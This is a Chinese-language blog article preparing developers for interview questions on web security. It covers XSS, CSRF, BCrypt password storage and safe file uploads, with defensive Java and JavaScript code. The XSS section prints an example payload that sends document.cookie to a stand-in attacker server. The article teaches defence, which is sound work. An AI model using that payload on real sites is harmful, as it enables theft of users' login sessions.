面试官问网络安全,别再说"密码要设复杂点"了

0 阅读7分钟

有时候面试官可能会问网络安全的问题,他们不是想听你背定义,而是想知道:你写代码时,会不会多想这么一步

我们来看下下面4个问题,或许可以让我们在面试时更加有底气。

1. XSS攻击:用户输入的内容,真的安全吗?

案例:小张做了一个评论功能,用户可以自由发表评论。他直接把用户输入的内容显示在网页上。结果某天,首页被挂上了赌博广告,网站被百度降权...

发生了什么
黑客在评论里输入了这样的内容:

<script>
  // 窃取用户cookie
  fetch('https://黑客服务器.com/steal?cookie=' + document.cookie);
</script>

当其他用户看到这条评论时,这段代码自动执行,用户的登录信息就被偷走了!

怎么防
永远不要相信用户输入,对用户输入的内容,要做消毒处理:

// 前端简单消毒函数
function sanitizeInput(userInput) {
  // 创建一个临时div
  const tempDiv = document.createElement('div');
  // 把用户输入设为文本(不是HTML)
  tempDiv.textContent = userInput;
  // 获取安全的HTML
  return tempDiv.innerHTML;
}

// 使用示例
const comment = "<script>alert('hack')</script>";
const safeComment = sanitizeInput(comment);
// safeComment 变成 "&lt;script&gt;alert('hack')&lt;/script&gt;"
// 浏览器会原样显示,不会执行脚本
// 后端Java消毒(使用开源库)
// 先引入依赖:implementation 'org.owasp.encoder:encoder'

import org.owasp.encoder.Encode;

public class SafeHtml {
    public static void main(String[] args) {
        String userInput = "<script>alert('xss')</script>";
        // 对HTML内容进行编码
        String safeOutput = Encode.forHtmlContent(userInput);
        System.out.println(safeOutput);
        // 输出:&lt;script&gt;alert(&#39;xss&#39;)&lt;/script&gt;
    }
}

面试小技巧:不要只说要过滤输入,而是说:"我会对用户输入进行验证,对输出内容根据上下文进行编码,前后端双重防护。"

2. CSRF攻击

案例:小李做了一个银行转账功能,用户登录后可以转账。某天,有用户反映账户里的钱被转走了,但自己没操作过。调查发现,用户在登录状态下点击了一个恶意链接,就被悄悄转账了...

发生了什么
当你登录一个网站,浏览器会保存一个身份证明(Cookie)。黑客利用这一点,诱导你点击一个链接,这个链接会自动向银行网站发送转账请求。因为你的浏览器带着Cookie,银行以为是你自己操作的!

怎么防
最常用的方法是验证码(CSRF Token):每个表单都有一个随机生成的验证码,服务器会验证这个码是否有效。

<!-- 表单中加入一个隐藏的token -->
<form action="/transfer" method="post">
  <input type="hidden" name="csrf_token" value="随机字符串如a1b2c3d4e5">
  金额:<input type="text" name="amount">
  账号:<input type="text" name="to_account">
  <button type="submit">转账</button>
</form>
// 后端验证token
@PostMapping("/transfer")
public String transferMoney(@RequestParam String amount, 
                           @RequestParam String to_account,
                           @RequestParam String csrf_token,
                           HttpSession session) {
    
    // 从session获取正确的token
    String validToken = (String) session.getAttribute("csrf_token");
    
    // 验证token
    if (!csrf_token.equals(validToken)) {
        throw new RuntimeException("无效请求");
    }
    
    // 执行转账
    bankService.transfer(amount, to_account);
    return "转账成功";
}

解释:就像银行柜台转账,不仅要看身份证(登录状态),还要核对预留手机号收到的验证码(CSRF Token),要双重确认是否是本人操作。

3. 密码安全

案例:某网站用户数据泄露,100万用户的密码被公开。调查发现,网站把密码直接存到数据库,没有做任何处理。更可怕的是,很多用户在多个网站用同一个密码...

常见的密码错误

  • 密码明文存储(直接存原始密码)
  • 只做简单MD5加密(很容易破解)
  • 不限制登录尝试次数(允许暴力破解)

正确做法

// 安全的密码存储(使用BCrypt)
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;

public class PasswordSecurity {
    
    // 创建加密器
    private static final BCryptPasswordEncoder encoder = new BCryptPasswordEncoder(12);
    
    // 用户注册时:加密存储
    public String registerUser(String username, String rawPassword) {
        // 加密密码
        String encodedPassword = encoder.encode(rawPassword);
        // 保存到数据库
        userDao.save(username, encodedPassword);
        return "注册成功";
    }
    
    // 用户登录时:验证密码
    public boolean loginUser(String username, String rawPassword) {
        // 从数据库获取加密后的密码
        String encodedPassword = userDao.getPassword(username);
        // 验证密码是否匹配
        return encoder.matches(rawPassword, encodedPassword);
    }
}

为什么BCrypt更安全

  1. 加盐:每个人的密码都加了不同的随机字符串,防止彩虹表攻击
  2. 慢加密:故意设计得很慢,让黑客难以暴力破解
  3. 自适应:随着计算机变快,可以调整难度

额外建议

  • 重要操作(如修改密码、大额转账)要求二次验证(短信/邮箱)
  • 登录失败5次后锁定账户一段时间
  • 定期提醒用户修改密码

4. 文件上传

小故事:某论坛允许用户上传头像,结果有黑客上传了一个图片,实际是个控制服务器的程序。几天后,整个服务器被用来挖矿,网站瘫痪...

风险在哪

  • 上传的图片可能是木马程序
  • 文件名可能包含"../"跳到其他目录
  • 超大文件可能导致服务器崩溃

安全上传四步法

@PostMapping("/upload-avatar")
public String uploadAvatar(@RequestParam("file") MultipartFile file) {
    try {
        // 1. 检查文件大小(限制1MB)
        if (file.getSize() > 1 * 1024 * 1024) {
            return "文件不能超过1MB";
        }
        
        // 2. 检查文件类型(只允许图片)
        String originalName = file.getOriginalFilename();
        String extension = originalName.substring(originalName.lastIndexOf(".") + 1).toLowerCase();
        
        if (!Arrays.asList("jpg", "jpeg", "png", "gif").contains(extension)) {
            return "只允许上传图片文件";
        }
        
        // 3. 生成安全的文件名(避免特殊字符和路径问题)
        String safeName = UUID.randomUUID() + "." + extension;
        
        // 4. 保存到安全位置
        String savePath = "/safe/uploads/" + safeName;
        file.transferTo(new File(savePath));
        
        return "上传成功,访问地址:/avatars/" + safeName;
    } catch (Exception e) {
        return "上传失败:" + e.getMessage();
    }
}

提示:上传的文件不要直接放在网站目录下,而是通过程序控制访问。这样即使有人上传了恶意文件,也无法直接执行。

面试加分项:安全思维

技术很重要,同时面试官也看重你的思维方式。以下3点,说出来能加分:

1. 安全是过程,不是功能

很多团队把安全当成项目结束前才考虑的事。实际上,安全应该贯穿整个开发过程

  • 写需求时:考虑哪些数据敏感,需要保护
  • 设计系统时:想想可能有哪些风险点
  • 写代码时:遵循安全编码规范
  • 测试时:包含安全测试
  • 上线后:监控异常行为

2. 最小权限原则

简单说:只给必要的权限

应用到开发中:

  • 数据库账号:不要用root账号连接数据库,创建专用账号,只给必要权限
  • 后台管理:普通编辑不能删除用户,管理员才能
  • API权限:用户只能看到自己的数据,看不到别人的

3. 多层防御

不要只靠一种防护,就像家里既有门锁,也有防盗窗。安全也一样:

  • 网络层:防火墙挡住可疑访问
  • 应用层:输入验证、权限控制
  • 数据层:敏感数据加密
  • 业务层:异常操作监控

面试怎么回答?模板来了

当面试官问"网络安全了解多少",你可以这样说:

"我认为安全不是某个部门的事,而是每个开发者的责任。在我的开发经验中,我主要关注几个常见风险:

第一,防范XSS攻击。我会对用户输入进行验证,对输出内容做编码处理,确保用户输入的内容不会被当作代码执行。

第二,防范CSRF攻击。我会在表单中使用CSRF令牌,重要操作要求二次验证,确保请求是用户真实意愿。

第三,安全存储密码。我使用BCrypt算法加密存储密码,而不是明文或简单MD5,重要操作增加额外验证。

第四,安全处理文件上传。我会限制文件类型、大小,生成安全文件名,将上传的文件放在非Web访问目录。

本文首发于公众号:程序员大华,专注分享前后端开发的实战笔记。关注我,少走弯路,一起进步!